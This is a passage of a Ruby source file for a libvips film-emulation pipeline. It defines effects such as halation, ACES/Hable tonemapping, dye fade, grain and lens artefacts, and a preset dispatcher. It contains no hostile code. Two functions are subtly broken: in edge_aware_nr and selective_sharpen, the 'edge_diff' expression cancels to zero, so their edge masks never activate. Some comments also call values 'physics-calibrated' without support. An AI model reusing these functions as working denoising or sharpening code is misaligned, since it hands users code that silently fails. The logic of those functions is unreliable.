&gt; 0.65).ifthenelse(luma - 0.65, 0)\n  ring    = (bright.gaussblur(4.0) - bright.gaussblur(2.0)).linear([1], [0])\n  ring    = (ring &gt; 0).ifthenelse(ring, 0).linear([intensity * 2.5], [0])\n  result  = Vips::Image.bandjoin([r + ring * 0.90, g + ring * 0.55, b + ring * 0.15])\n  safe_cast(clamp01(result).colourspace(\"srgb\"))\nrescue StandardError =&gt; e\n  $logger.error \"bokeh_rendering: #{e.message}\"; image\nend\n\n# Anamorphic lens flare: horizontal blue-cyan streak through brightest highlights.\n# Real anamorphic streaks are produced by cylindrical front element edge diffraction.\n# Approximated with a wide 1-D horizontal convolution over the highlight mask.\ndef anamorphic_flare(image, intensity = 0.50)\n  w       = image.width\n  linear  = image.colourspace(\"scrgb\")\n  r, g, b = linear.bandsplit\n  luma    = r * 0.2126 + g * 0.7152 + b * 0.0722\n  bright  = (luma &gt; 0.78).ifthenelse(luma - 0.78, 0)\n  kw      = [w / 10, 31].min\n  kw      = kw.even? ? kw + 1 : kw\n  kernel  = Vips::Image.new_from_array([Array.new(kw, 1.0 / kw)])\n  streak  = bright.conv(kernel, precision: :float)\n  streakc = Vips::Image.bandjoin([streak * 0.10, streak * 0.45, streak * 1.00]) * (intensity * 0.55)\n  safe_cast(clamp01(linear + streakc).colourspace(\"srgb\"))\nrescue StandardError =&gt; e\n  $logger.error \"anamorphic_flare: #{e.message}\"; image\nend\n\n# Diffraction softening at small apertures. The Airy disc diameter grows with f-number;\n# at f/16+ the disc exceeds the Nyquist limit and detail visibly softens.\ndef diffraction_blur(image, f_number = 16.0, intensity = 1.0)\n  sigma = ([((f_number - 8.0) / 5.0) * intensity, 0.3].max).clamp(0.3, 6.0)\n  safe_cast(image.gaussblur(sigma))\nrescue StandardError =&gt; e\n  $logger.error \"diffraction_blur: #{e.message}\"; image\nend\n\n# Flatbed scanner CCD noise floor. Electronic in origin \u2014 independent of film grain,\n# lower amplitude, no spatial correlation. Adds a second fine incoherent texture.\ndef scan_noise(image, intensity = 0.40)\n  noise = Vips::Image.gaussnoise(image.width, image.height, sigma: 5.0 * intensity, mean: 0.0)\n  safe_cast(image.cast(\"float\") + rgb_bands(noise) * 0.06 * intensity)\nrescue StandardError =&gt; e\n  $logger.error \"scan_noise: #{e.message}\"; image\nend\n\n# Newton rings: thin-film interference fringes where film lifts off scanner glass.\n# Sinusoidal concentric rings centered near a corner with radial intensity falloff.\ndef newton_rings(image, intensity = 0.12)\n  w, h  = image.width, image.height\n  cx    = w * 0.12\n  cy    = h * 0.10\n  idx   = Vips::Image.xyz(w, h)\n  xd    = idx.extract_band(0).cast(\"float\") - cx\n  yd    = idx.extract_band(1).cast(\"float\") - cy\n  rad   = (xd * xd + yd * yd).pow(0.5)\n  rings = rad.linear([Math::PI * 2.0 / 28.0], [0]).math(:sin).linear([0.5], [0.5])\n  fade  = clamp01(rad.linear([-1.2 / [w, h].max], [1.2]))\n  mod   = (rings - 0.5) * fade * intensity * 0.10\n  mod3  = mod.bandjoin([mod, mod])\n  safe_cast(clamp01(image.cast(\"float\") / 255.0 + mod3) * 255.0)\nrescue StandardError =&gt; e\n  $logger.error \"newton_rings: #{e.message}\"; image\nend\n\n# Dust specks and hair strands on negative or scanner glass. Procedurally drawn\n# at random positions; dark specks more common than bright (dust blocks light).\ndef dust_and_hair(image, intensity = 0.50)\n  w, h    = image.width, image.height\n  overlay = Vips::Image.black(w, h, bands: 3).cast(\"float\")\n  (intensity * 14).round.times do\n    x   = rand(w)\n    y   = rand(h)\n    val = rand &gt; 0.65 ? [230.0, 228.0, 225.0] : [8.0, 6.0, 5.0]\n    overlay = overlay.draw_circle(val, x, y, 1 + rand(2), fill: true)\n  end\n  (intensity * 2).round.times do\n    x1    = rand(w)\n    y1    = rand(h)\n    angle = rand * Math::PI * 2\n    len   = 30 + rand(110)\n    x2    = (x1 + len * Math.cos(angle)).to_i.clamp(0, w - 1)\n    y2    = (y1 + len * Math.sin(angle)).to_i.clamp(0, h - 1)\n    overlay = overlay.draw_line([14.0, 12.0, 10.0], x1, y1, x2, y2)\n  end\n  blended = image.cast(\"float\") + overlay.gaussblur(0.5) * 0.45\n  safe_cast(clamp01(blended / 255.0) * 255.0)\nrescue StandardError =&gt; e\n  $logger.error \"dust_and_hair: #{e.message}\"; image\nend\n\n# Film curl / frame-holder vignette. Steeper radial falloff (power 8) than the\n# smooth lens vignette (power 2) \u2014 mimics the mechanical shadow of the film gate.\ndef film_curl_vignette(image, intensity = 0.45)\n  w, h = image.width, image.height\n  idx  = Vips::Image.xyz(w, h)\n  xn   = (idx.extract_band(0).cast(\"float\") - w * 0.5) / (w * 0.5)\n  yn   = (idx.extract_band(1).cast(\"float\") - h * 0.5) / (h * 0.5)\n  r2   = xn * xn + yn * yn\n  vign = clamp01(r2.pow(4.0).linear([intensity * 6.0], [0]))\n  v3   = vign.bandjoin([vign, vign])\n  safe_cast(clamp01(image.cast(\"float\") / 255.0 * (1.0 - v3)) * 255.0)\nrescue StandardError =&gt; e\n  $logger.error \"film_curl_vignette: #{e.message}\"; image\nend\n\n# Selenium toning: silver areas in shadow zones chemically convert to selenium\n# compounds \u2014 blue-violet shift in the deepest densities, neutral in highlights.\ndef selenium_tone(image, intensity = 0.45)\n  img_f  = image.cast(\"float\") / 255.0\n  luma   = img_f.colourspace(\"b-w\").cast(\"float\") / 255.0\n  shad_w = clamp01(luma.linear([-1], [1]).pow(1.5)) * (intensity * 0.65)\n  r, g, b = img_f.bandsplit\n  result  = Vips::Image.bandjoin([clamp01(r + shad_w * 0.12), g, clamp01(b + shad_w * 0.28)])\n  safe_cast(result * 255.0)\nrescue StandardError =&gt; e\n  $logger.error \"selenium_tone: #{e.message}\"; image\nend\n\n# Per-stock dye fading. Each emulsion has a characteristic failure mode over decades:\n# Kodachrome: greens hold, reds drift to orange, shadows warm. Ektachrome: cyan fades,\n# image shifts magenta-red. Velvia: magenta dye weakens. C-41: yellow cast + desaturation.\ndef dye_fade(image, stock = :kodak_portra, age = 0.50)\n  img_f = image.cast(\"float\") / 255.0\n  r, g, b = img_f.bandsplit\n  faded = case stock\n          when :kodachrome\n            Vips::Image.bandjoin([r.linear([1.0], [age * 0.08]), g,\n                                  b.linear([1.0 - age * 0.16], [age * 0.05])])\n          when :ektachrome_100\n            Vips::Image.bandjoin([r.linear([1.0 + age * 0.13], [0]),\n                                  g.linear([1.0 + age * 0.04], [0]), b])\n          when :fuji_velvia\n            Vips::Image.bandjoin([r, g.linear([1.0], [age * 0.05]),\n                                  b.linear([1.0 - age * 0.08], [age * 0.03])])\n          else\n            Vips::Image.bandjoin([r.linear([1.0], [age * 0.06]),\n                                  g.linear([1.0], [age * 0.04]),\n                                  b.linear([1.0 - age * 0.10], [age * 0.02])])\n          end\n  gray   = img_f.colourspace(\"b-w\").colourspace(\"srgb\").cast(\"float\")\n  result = clamp01(faded) * (1.0 - age * 0.18) + gray * (age * 0.18)\n  safe_cast(clamp01(result) * 255.0)\nrescue StandardError =&gt; e\n  $logger.error \"dye_fade: #{e.message}\"; image\nend\n\n# Darkroom print tone compression. Optical enlarger prints cannot reproduce the full\n# DR of a negative. Highlights block at paper Dmax; shadows print lighter than film.\n# Slight gamma lift + shadow floor raise compress the tonal scale to print-medium range.\ndef darkroom_print(image, intensity = 0.50)\n  img_f   = image.cast(\"float\") / 255.0\n  lifted  = img_f.pow(1.0 + intensity * 0.28)\n  floored = clamp01(lifted.linear([1.0], [intensity * 0.018]))\n  safe_cast(floored * 255.0)\nrescue StandardError =&gt; e\n  $logger.error \"darkroom_print: #{e.message}\"; image\nend\n\n# Per-stock film base density tint. Applies the FILM_BASE color at low opacity\n# so shadow areas pick up more tint than highlights \u2014 physically correct since\n# tint is always present and highlights burn through it.\ndef film_base_density(image, stock = :kodak_portra, opacity = 0.06)\n  tint = FILM_BASE[stock] || [255, 255, 255]\n  dual_base_density(image, tint, opacity)\nrescue StandardError =&gt; e\n  $logger.error \"film_base_density: #{e.message}\"; image\nend\n\n# C-41 integral orange mask. Colored couplers in the negative create a\n# characteristic orange base density that raises shadows toward orange-amber.\n# Reversal and B&amp;W stocks have no mask \u2014 only applied to C41_STOCKS.\ndef orange_mask(image, stock = :kodak_portra, intensity = 1.0)\n  return image unless C41_STOCKS.include?(stock)\n  mask = case stock\n         when :cinestill_800t, :kodak_vision3_500t then 0.09\n         when :kodak_vision3, :kodak_vision3_50d   then 0.08\n         else 0.07\n         end * intensity\n  img_f    = image.cast(\"float\") / 255.0\n  shadow_w = image.colourspace(\"b-w\").cast(\"float\") / 255.0\n  shadow_w = shadow_w.linear(-1, 1)\n  r, g, b  = img_f.bandsplit\n  result   = Vips::Image.bandjoin([\n    clamp01(r + shadow_w * mask * 0.55),\n    clamp01(g + shadow_w * mask * 0.18),\n    clamp01(b - shadow_w * mask * 0.35)\n  ])\n  safe_cast(result * 255.0)\nrescue StandardError =&gt; e\n  $logger.error \"orange_mask: #{e.message}\"; image\nend\n\n# Print film projection. Applies a print stock's H&amp;D curve, warmth, cool-shadow\n# grading, and fine grain as a final projection stage \u2014 analogous to printing\n# from a negative onto Kodak 2383 (or 2302 for B&amp;W).\ndef print_film(image, stock = :kodak_2383, intensity = 0.70)\n  pdata = PRINT_STOCKS[stock]\n  return image unless pdata\n  hd = pdata[:hd]\n  bands = %i[r g b].map { |c| Vips::Image.new_from_array([HD.channel_curve(hd[c])]) }\n  lut = Vips::Image.bandjoin(bands).cast(\"uchar\")\n  developed = image.maplut(lut)\n  img_f = developed.cast(\"float\") / 255.0\n  luma  = developed.colourspace(\"b-w\").cast(\"float\") / 255.0\n  if pdata[:warmth]\n    hi_mask = luma ** 2.8\n    sh_mask = luma.linear(-1, 1) ** 2.8\n    r, g, b = img_f.bandsplit\n    img_f = Vips::Image.bandjoin([\n      clamp01(r + hi_mask * pdata[:warmth] * 0.8),\n      clamp01(g + hi_mask * pdata[:warmth] * 0.15),\n      clamp01(b - hi_mask * pdata[:warmth] * 0.35 + sh_mask * (pdata[:cool_shadow] || 0))\n    ])\n  end\n  if pdata[:grain].to_i &gt; 0\n    amp   = pdata[:grain] * 0.25 / 255.0\n    noise = Vips::Image.gaussnoise(image.width, image.height, sigma: pdata[:grain].to_f * 0.3, mean: 0.0)\n    img_f = clamp01(img_f + rgb_bands(noise).cast(\"float\") * amp)\n  end\n  safe_cast(image * (1.0 - intensity) + safe_cast(img_f * 255.0) * intensity)\nrescue StandardError =&gt; e\n  $logger.error \"print_film: #{e.message}\"; image\nend\n\ndef paper_texture(image, intensity = 0.35)\n  w, h = image.width, image.height\n  base = Vips::Image.perlin(w, h, cell_size: 12).linear([intensity * 0.018], [1.0])\n  fiber = Vips::Image.perlin(w, h, cell_size: 3).linear([intensity * 0.008], [0.0])\n  texture = (base + fiber).gaussblur(0.4)\n  safe_cast(image * texture.bandjoin([texture, texture]))\nrescue StandardError =&gt; e\n  $logger.error \"paper_texture: #{e.message}\"; image\nend\n\ndef dodgeburn_artifacts(image, intensity = 0.40)\n  w, h = image.width, image.height\n  cx, cy = w / 2.0, h / 2.0\n  x = Vips::Image.xyz(w, h).extract_band(0).linear([1.0], [-cx])\n  y = Vips::Image.xyz(w, h).extract_band(1).linear([1.0], [-cy])\n  r = (x * x + y * y).pow(0.5).linear([1.0 / [w, h].max], [0.0])\n  dodge = r.linear([-intensity * 0.18], [1.0 + intensity * 0.06])\n  mask = dodge.bandjoin([dodge, dodge])\n  safe_cast(image * mask)\nrescue StandardError =&gt; e\n  $logger.error \"dodgeburn_artifacts: #{e.message}\"; image\nend\n\ndef fixing_bath_fog(image, intensity = 0.30)\n  floor = intensity * 0.04\n  cast = [1.0 + intensity * 0.012, 1.0 + intensity * 0.006, 1.0]\n  lifted = image.linear([(1.0 - floor)], [floor])\n  safe_cast(lifted.linear(cast, [0.0, 0.0, 0.0]))\nrescue StandardError =&gt; e\n  $logger.error \"fixing_bath_fog: #{e.message}\"; image\nend\n\ndef reticulation(image, intensity = 0.50)\n  w, h = image.width, image.height\n  coarse = Vips::Image.perlin(w, h, cell_size: 28).linear([intensity * 0.06], [1.0])\n  mid = Vips::Image.perlin(w, h, cell_size: 9).linear([intensity * 0.03], [0.0])\n  pattern = (coarse + mid).gaussblur(0.8)\n  mask = pattern.bandjoin([pattern, pattern])\n  safe_cast(image * mask)\nrescue StandardError =&gt; e\n  $logger.error \"reticulation: #{e.message}\"; image\nend\n\ndef expired_film(image, age = 0.60)\n  fogged = image.linear([(1.0 - age * 0.12)], [age * 0.06])\n  r, g, b = fogged.bandsplit\n  r = r.linear([1.0 + age * 0.08], [0.0])\n  g = g.linear([1.0 + age * 0.03], [0.0])\n  b = b.linear([1.0 - age * 0.05], [0.0])\n  combined = r.bandjoin([g, b])\n  grain_intensity = 0.20 + age * 0.35\n  safe_cast(grain(combined, 800, :tri_x, grain_intensity))\nrescue StandardError =&gt; e\n  $logger.error \"expired_film: #{e.message}\"; image\nend\n\ndef gate_weave(image, intensity = 0.40)\n  w, h = image.width, image.height\n  dx = (rand - 0.5) * intensity * w * 0.004\n  dy = (rand - 0.5) * intensity * h * 0.002\n  x = Vips::Image.xyz(w, h).extract_band(0).linear([1.0], [-dx])\n  y = Vips::Image.xyz(w, h).extract_band(1).linear([1.0], [-dy])\n  coords = x.bandjoin(y)\n  image.mapim(coords)\nrescue StandardError =&gt; e\n  $logger.error \"gate_weave: #{e.message}\"; image\nend\n\ndef lens_ghosting(image, intensity = 0.35)\n  w, h = image.width, image.height\n  luma = image.colourspace(:b_w)\n  threshold = 1.0 - intensity * 0.25\n  highlights = luma.more(threshold).gaussblur(12 * intensity)\n  ghost = highlights.gaussblur(6).linear([intensity * 0.12], [0.0])\n  offset_x = (w * 0.08).to_i\n  offset_y = (h * 0.06).to_i\n  ghost_rgb = ghost.bandjoin([ghost, ghost])\n  flipped = ghost_rgb.flip(:horizontal).flip(:vertical)\n  canvas = Vips::Image.black(w, h, bands: 3).linear([1.0], [0.0])\n  x0 = [[w - offset_x - flipped.width, 0].max, w - 1].min\n  y0 = [[h - offset_y - flipped.height, 0].max, h - 1].min\n  blended = canvas.draw_image(flipped, x0, y0)\n  safe_cast(image + blended)\nrescue StandardError =&gt; e\n  $logger.error \"lens_ghosting: #{e.message}\"; image\nend\n\ndef ortho_film(image, intensity = 0.80)\n  r, g, b = image.bandsplit\n  grey = (b.linear([0.72], [0.0]) + g.linear([0.21], [0.0]) + r.linear([0.07], [0.0]))\n  grey_rgb = grey.bandjoin([grey, grey])\n  blended = image.linear([(1.0 - intensity)], [0.0]) + grey_rgb.linear([intensity], [0.0])\n  safe_cast(blended)\nrescue StandardError =&gt; e\n  $logger.error \"ortho_film: #{e.message}\"; image\nend\n\ndef tilt_shift(image, intensity = 0.70, focus_y = 0.5)\n  w, h = image.width, image.height\n  y_img = Vips::Image.xyz(w, h).extract_band(1).linear([1.0 / h], [0.0])\n  dist = (y_img - focus_y).abs.linear([2.0], [0.0]).pow(1.6)\n  blur_radius = (intensity * 8).clamp(1, 20).to_f\n  blurred = image.gaussblur(blur_radius)\n  mask = dist.linear([intensity], [0.0]).clamp(0, 1)\n  mask3 = mask.bandjoin([mask, mask])\n  safe_cast(image * (mask3.linear([-1.0], [1.0])) + blurred * mask3)\nrescue StandardError =&gt; e\n  $logger.error \"tilt_shift: #{e.message}\"; image\nend\n\n# Adaptive contrast: histogram normalization blended at partial opacity.\n# Strongest single predictor of perceived photo quality in NIMA/AVA research.\ndef adaptive_contrast(image, intensity = 0.70)\n  normalized = image.hist_norm\n  safe_cast(image * (1.0 - intensity * 0.55) + normalized * (intensity * 0.55))\nrescue StandardError =&gt; e\n  $logger.error \"adaptive_contrast: #{e.message}\"; image\nend\n\n# Filmic shoulder + toe: raised shadow floor + soft highlight rolloff.\n# Models the analog curve endpoints without stock-specific emulsion data.\ndef film_shoulder(image, intensity = 0.75)\n  toe = intensity * 0.04 * 255.0\n  lifted = image.linear([1.0 - intensity * 0.04], [toe])\n  rolled = highlight_roll(lifted, (220 - (intensity * 20).to_i), intensity * 0.50)\n  safe_cast(rolled)\nrescue StandardError =&gt; e\n  $logger.error \"film_shoulder: #{e.message}\"; image\nend\n\n# Clarity: medium-radius unsharp on Lab L channel only \u2014 local contrast \"3D pop\"\n# without hue shift or color fringing.\ndef clarity(image, radius = 15, intensity = 0.65)\n  lab = image.colourspace(\"lab\")\n  l = lab.extract_band(0)\n  a_ch = lab.extract_band(1)\n  b_ch = lab.extract_band(2)\n  detail = l - l.gaussblur(radius)\n  l_new = l + detail.linear([intensity * 0.40], [0.0])\n  safe_cast(Vips::Image.bandjoin([l_new, a_ch, b_ch]).colourspace(\"srgb\"))\nrescue StandardError =&gt; e\n  $logger.error \"clarity: #{e.message}\"; image\nend\n\n# Edge-aware noise reduction: smooth flat areas, preserve edges.\n# Approximated as luminance-masked Gaussian \u2014 clean base before film grain is added.\ndef edge_aware_nr(image, strength = 0.60)\n  blurred = image.gaussblur(1.5 + strength * 2.0)\n  quick = image.gaussblur(1.5)\n  edge_diff = (image - quick) + (quick - image)\n  edge_luma = edge_diff.extract_band(0) * 0.299 +\n              edge_diff.extract_band(1) * 0.587 +\n              edge_diff.extract_band(2) * 0.114\n  mask = (edge_luma &gt; (12.0 * (1.0 - strength * 0.5))).ifthenelse(1, 0)\n  mask3 = mask.bandjoin([mask, mask])\n  safe_cast(image * mask3 + blurred * mask3.linear([-1.0], [1.0]))\nrescue StandardError =&gt; e\n  $logger.error \"edge_aware_nr: #{e.message}\"; image\nend\n\n# Selective sharpening: high-pass at \u03c3=1.2, applied only at high-edge regions.\n# Lifts perceived acuity at detail without amplifying noise in smooth areas.\ndef selective_sharpen(image, intensity = 0.70)\n  blurred = image.gaussblur(1.2)\n  detail = image - blurred\n  edge_diff = detail + (blurred - image)\n  edge_luma = edge_diff.extract_band(0) * 0.299 +\n              edge_diff.extract_band(1) * 0.587 +\n              edge_diff.extract_band(2) * 0.114\n  mask = (edge_luma &gt; 8).ifthenelse(1, 0)\n  mask3 = mask.bandjoin([mask, mask])\n  safe_cast(image + detail * mask3 * (intensity * 0.55))\nrescue StandardError =&gt; e\n  $logger.error \"selective_sharpen: #{e.message}\"; image\nend\n\ndef teal_orange(image, intensity = 1.0)\n  protected = skin_protect(image, 0.8)\n  r, g, b = protected.bandsplit\n\n  r_enhanced = r.linear([1 + 0.25 * intensity], [8 * intensity])\n  g_balanced = g.linear([1 - 0.08 * intensity], [0])\n  b_enhanced = b.linear([1 + 0.35 * intensity], [0])\n\n  safe_cast(Vips::Image.bandjoin([r_enhanced, g_balanced, b_enhanced]))\nend\n\ndef bloom_pro(image, intensity = 1.0)\n  bright = image.linear([2.0 * intensity], [0])\n  bloom_1 = bright.gaussblur(8 * intensity)\n  bloom_2 = bright.gaussblur(16 * intensity)\n  combined = (bloom_1 + bloom_2 * 0.5) * 0.2\n  safe_cast(image + combined)\nend\n\n# Halation in linear (exposure) space. Bright light penetrates the emulsion,\n# reflects off the substrate's antihalation backing imperfectly, and re-exposes\n# nearby grains. Red wavelengths penetrate deepest, so the rebound glow is\n# red-orange \u2014 never neutral. Default tint matches Vision3-style stocks; Velvia\n# antihalation is near-perfect (drop intensity), Tri-X has none (boost it).\n# Pipeline: linearize \u2192 soft-threshold highlights at L\u22480.7 \u2192 wide gaussian on\n# the mono source map \u2192 tint asymmetrically (R&gt;G&gt;&gt;B) \u2192 add back \u2192 re-encode.\n# Physics-calibrated: fraction of incident energy reflected per dye layer depth.\n# Red penetrates deepest (0.92), green mid-layer (0.15), blue nearest surface (0.04).\nHALATION_TINT_VISION3 = [0.92, 0.15, 0.04].freeze\nHALATION_TINT_PORTRA  = [0.88, 0.12, 0.04].freeze\nHALATION_TINT_TRI_X   = [0.45, 0.45, 0.45].freeze\nHALATION_THRESHOLD    = 0.7\n\n# Halation: resolution-aware \u03c3 \u2248 width/45 (\u224843px at 2K, calibrated from agx\n# emulsion measurements). Luma-based bright mask rather than red-only, so\n# over-exposed highlights on any channel trigger the halo. Per-channel blur\n# radii R&gt;G&gt;&gt;B model wavelength-dependent penetration depth in the emulsion\n# stack. Output clamp prevents HDR overshoot from adding solarization.\ndef halation(image, intensity = 1.0, tint: HALATION_TINT_VISION3)\n  sigma_r = [image.width / 45.0, 6.0].max.clamp(6.0, 120.0)\n  sigma_g = sigma_r * 0.55\n  sigma_b = sigma_r * 0.25\n  linear  = image.colourspace(\"scrgb\")\n  r, g, b = linear.bandsplit\n  luma    = r * 0.2126 + g * 0.7152 + b * 0.0722\n  excess  = luma.linear([1], [-HALATION_THRESHOLD])\n  bright  = (excess &gt; 0).ifthenelse(excess, 0) ** 2\n  # Lorentzian-approx PSF: sharp core (30%) + wide wings (70%) per wavelength band.\n  halo_r = (bright.gaussblur(sigma_r * 0.7) * 0.30 + bright.gaussblur(sigma_r * 1.6) * 0.70) * (tint[0] * intensity)\n  halo_g = (bright.gaussblur(sigma_g * 0.7) * 0.30 + bright.gaussblur(sigma_g * 1.6) * 0.70) * (tint[1] * intensity)\n  halo_b = (bright.gaussblur(sigma_b * 0.7) * 0.30 + bright.gaussblur(sigma_b * 1.6) * 0.70) * (tint[2] * intensity)\n  halo    = Vips::Image.bandjoin([halo_r, halo_g, halo_b])\n  safe_cast(clamp01(linear + halo).colourspace(\"srgb\"))\nend\n\n# Filmic tonemap in linear (exposure) space. ACES is the Narkowicz fit to the\n# Academy RRT+ODT \u2014 fast, photometric, the canonical \"filmic\" curve. Hable is\n# Uncharted-2's S-curve, slightly more controllable shoulder, used in many\n# cinematic productions. Both per-channel; chroma drift in the shoulder is the\n# expected filmic behaviour. Exposure is applied in stops (2^EV) before the\n# curve, so a +1.0 stop doubles linear light pre-tonemap.\nTONEMAP_ACES  = { a: 2.51, b: 0.03, c: 2.43, d: 0.59, e: 0.14 }.freeze\nTONEMAP_HABLE = { a: 0.15, b: 0.50, c: 0.10, d: 0.20, e: 0.02, f: 0.30, w: 1.0 }.freeze\n# Hejl-Burgess-Dawson: no division path in shadows, slight toe lift.\n# Good for scenes where ACES reads too contrasty in the blacks.\nTONEMAP_HBD   = { a: 6.2, b: 0.5, c: 1.7, d: 0.06 }.freeze\n\ndef tonemap(image, type: :aces, exposure: 0.0, intensity: 1.0)\n  linear  = image.colourspace(\"scrgb\")\n  exposed = linear.linear([2.0**exposure] * 3, [0, 0, 0])\n  curved  = case type.to_sym\n            when :hable then tonemap_hable(exposed)\n            when :hbd   then tonemap_hbd(exposed)\n            else             tonemap_aces(exposed)\n            end\n  blended = linear * (1 - intensity) + clamp01(curved) * intensity\n  safe_cast(blended.colourspace(\"srgb\"))\nend\n\ndef clamp01(image)\n  lifted = (image &gt; 0).ifthenelse(image, 0)\n  (lifted &lt; 1).ifthenelse(lifted, 1)\nend\n\ndef tonemap_aces(linear)\n  a, b, c, d, e = TONEMAP_ACES.values_at(:a, :b, :c, :d, :e)\n  sq = linear * linear\n  num = sq.linear([a] * 3, [0, 0, 0]) + linear.linear([b] * 3, [0, 0, 0])\n  den = sq.linear([c] * 3, [0, 0, 0]) + linear.linear([d] * 3, [e] * 3)\n  num / den\nend\n\ndef tonemap_hable(linear)\n  a, b, c, d, e, f, w = TONEMAP_HABLE.values_at(:a, :b, :c, :d, :e, :f, :w)\n  white = ((w * (a * w + c * b) + d * e) / (w * (a * w + b) + d * f)) - e / f\n  curved = linear.bandsplit.map do |x|\n    num = (x * x).linear([a], [0]) + x.linear([c * b], [d * e])\n    den = (x * x).linear([a], [0]) + x.linear([b], [d * f])\n    num / den - e / f\n  end\n  Vips::Image.bandjoin(curved).linear([1.0 / white] * 3, [0, 0, 0])\nend\n\ndef tonemap_hbd(linear)\n  a, b, c, d = TONEMAP_HBD.values_at(:a, :b, :c, :d)\n  curved = linear.bandsplit.map do |x|\n    num = (x * x).linear([a], [0]) + x.linear([b], [0])\n    den = (x * x).linear([a], [0]) + x.linear([c], [d])\n    num / den\n  end\n  Vips::Image.bandjoin(curved)\nend\n\ndef preset(image, name)\n  p = PRESETS[name.to_sym]\n  return image unless p\n  result  = image\n  t_start = Time.now\n  n_steps = p[:fx].length\n  PostproBootstrap.dmesg \"preset=#{name} stock=#{p[:stock]} steps=#{n_steps} intensity=#{p[:intensity]}\"\n\n  p[:fx].each_with_index do |fx, i|\n    t0 = Time.now\n    result = case fx\n             when \"optical_blur\"        then optical_blur(result, 0.5)\n             when \"tonemap\"             then tonemap(result, type: :aces, exposure: p.fetch(:tonemap_ev, 0.0), intensity: p[:intensity] * 0.85)\n             when \"halation\"            then halation(result, p[:intensity] * 0.60, tint: halation_tint_for(p[:stock]))\n             when \"film_curve\"          then film_curve(result, p[:stock], p[:intensity])\n             when \"spectral_temp\"       then spectral_temp(result, source_kelvin: 6504, target_kelvin: p[:temp], intensity: p[:intensity] * 0.50)\n             when \"color_temp\"          then color_temp(result, p[:temp], p[:intensity] * 0.50)\n             when \"dir_coupler\"         then dir_coupler(result, p[:intensity] * 0.12)\n             when \"push_pull\"           then push_pull(result, p.fetch(:stops, 1.0), p[:stock])\n             when \"bleach_bypass\"       then bleach_bypass(result, p[:intensity] * 0.40)\n             when \"reciprocity_failure\" then reciprocity_failure(result, p.fetch(:exposure_secs, 10.0), p[:stock])\n             when \"orange_mask\"         then orange_mask(result, p[:stock], p[:intensity] * 0.90)\n             when \"print_film\"          then print_film(result, p.fetch(:print_stock, :kodak_2383), p[:intensity] * 0.70)\n             when \"split_grade\"         then split_grade(result, intensity: p[:intensity] * 0.25)\n             when \"split_toning\"        then split_toning(result)\n             when \"skin_protect\"        then skin_protect(result, p[:intensity])\n             when \"shadow_lift\"         then shadow_lift(result, 0.12, true)\n             when \"highlight_roll\"      then highlight_roll(result, 200, p[:intensity] * 0.50)\n             when \"micro_contrast\"      then micro_contrast(result, 5, p[:intensity] * 0.20)\n             when \"grain\"               then grain(result, 800, p[:stock], p[:intensity] * 0.30)\n             when \"color_separate\"      then color_separate(result, p[:intensity] * 0.55)\n             when \"chromatic_aberration\" then chromatic_aberration(result, p[:intensity] * 0.25)\n             when \"vintage_lens\"        then vintage_lens(result, p.fetch(:lens, \"zeiss\"), p[:intensity] * 0.70)\n             when \"teal_orange\"         then teal_orange(result, p[:intensity] * 0.80)\n             when \"bloom_pro\"           then bloom_pro(result, p[:intensity] * 0.25)\n             when \"desaturate\"          then desaturate(result, p[:intensity] * 0.45)\n             when \"warmth\"              then warmth(result, p[:intensity] * 0.25)\n             when \"green_push\"          then green_push(result, p[:intensity] * 0.15)\n             when \"cross_fade\"          then cross_fade(result, p[:intensity] * 0.40)\n             when \"infrared\"            then infrared(result, p[:intensity] * 0.85)\n             when \"lith_print\"          then lith_print(result, p[:intensity] * 0.75)\n             when \"kodachrome_sim\"      then kodachrome_sim(result, p[:intensity] * 0.75)\n             when \"technicolor\"         then technicolor(result, p[:intensity] * 0.55)\n             when \"cyanotype\"           then cyanotype(result, p[:intensity])\n             when \"faded_print\"         then faded_print(result, p.fetch(:age, 0.40))\n             when \"base_tint\"           then base_tint(result, [255, 250, 242], 0.07)\n             when \"dual_base_density\"   then dual_base_density(result, [255, 248, 236], 0.06)\n             when \"emulsion_defocus\"    then emulsion_defocus(result, p[:stock])\n             when \"adjacency_effects\"   then adjacency_effects(result, p[:intensity] * 0.25)\n             when \"longitudinal_ca\"     then longitudinal_ca(result, p[:intensity] * 0.50)\n             when \"lens_distortion\"     then lens_distortion(result, p.fetch(:k1, -0.12))\n             when \"bokeh_rendering\"     then bokeh_rendering(result, p[:intensity] * 0.35)\n             when \"anamorphic_flare\"    then anamorphic_flare(result, p[:intensity] * 0.50)\n             when \"diffraction_blur\"    then diffraction_blur(result, p.fetch(:f_number, 16.0))\n             when \"scan_noise\"          then scan_noise(result, p[:intensity] * 0.40)\n             when \"newton_rings\"        then newton_rings(result, p[:intensity] * 0.12)\n             when \"dust_and_hair\"       then dust_and_hair(result, p[:intensity] * 0.50)\n             when \"film_curl_vignette\"  then film_curl_vignette(result, p[:intensity] * 0.45)\n             when \"selenium_tone\"       then selenium_tone(result, p[:intensity] * 0.45)\n             when \"dye_fade\"            then dye_fade(result, p[:stock], p.fetch(:age, 0.50))\n             when \"darkroom_print\"      then darkroom_print(result, p[:intensity] * 0.50)\n             when \"film_base_density\"   then film_base_density(result, p[:stock], 0.06)\n             when \"paper_texture\"       then paper_texture(result, p[:intensity] * 0.35)\n             when \"dodgeburn_artifacts\" then dodgeburn_artifacts(result, p[:intensity] * 0.40)\n             when \"fixing_bath_fog\"     then fixing_bath_fog(result, p[:intensity] * 0.30)\n             when \"reticulation\"        then reticulation(result, p[:intensity] * 0.50)\n             when \"expired_film\"        then expired_film(result, p.fetch(:age, 0.60))\n             when \"gate_weave\"          then gate_weave(result, p[:intensity] * 0.40)\n             when \"lens_ghosting\"       then lens_ghosting(result, p[:intensity] * 0.35)\n             when \"ortho_film\"          then ortho_film(result, p[:intensity] * 0.80)\n             when \"tilt_shift\"          then tilt_shift(result, p[:intensity] * 0.70)\n             when \"adaptive_contrast\"   then adaptive_contrast(result, p[:intensity] * 0.70)\n             when \"film_shoulder\"       then film_shoulder(result, p[:intensity] * 0.75)\n             when \"clarity\"             then clarity(result, 15, p[:intensity] * 0.65)\n             when \"edge_aware_nr\"       then edge_aware_nr(result, p[:intensity] * 0.55)\n             when \"selective_sharpen\"   then selective_sharpen(result, p[:intensity] * 0.65)\n             else result\n             end\n    result = result.copy_memory\n    GC.start(full_mark: false) if (i % 4).zero?\n    PostproBootstrap.dmesg \"fx=#{fx} step=#{i + 1}/#{n_steps} time=%.3fs\" % (Time.now - t0)\n  end\n\n  PostproBootstrap.dmesg \"preset=#{name} done total=%.2fs\" % (Time.now - t_start)\n  result\nend\n\n# Random Effects\ndef 